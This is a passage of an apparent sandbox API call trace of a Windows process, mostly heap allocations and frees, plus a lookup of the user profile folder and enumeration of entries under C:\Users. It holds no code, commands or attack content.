dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.090] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.093] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.094] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.095] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.095] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.095] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.095] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.095] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.095] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.095] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.095] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.095] PathFindFileNameW (pszPath="") returned="" [0059.095] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.096] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.096] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.096] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52c0 | out: hHeap=0x670000) returned 1 [0059.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.096] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.096] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.096] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0059.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018280 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.097] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd6c0 | out: hHeap=0x670000) returned 1 [0059.097] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4780 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd6c0 | out: hHeap=0x670000) returned 1 [0059.097] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, 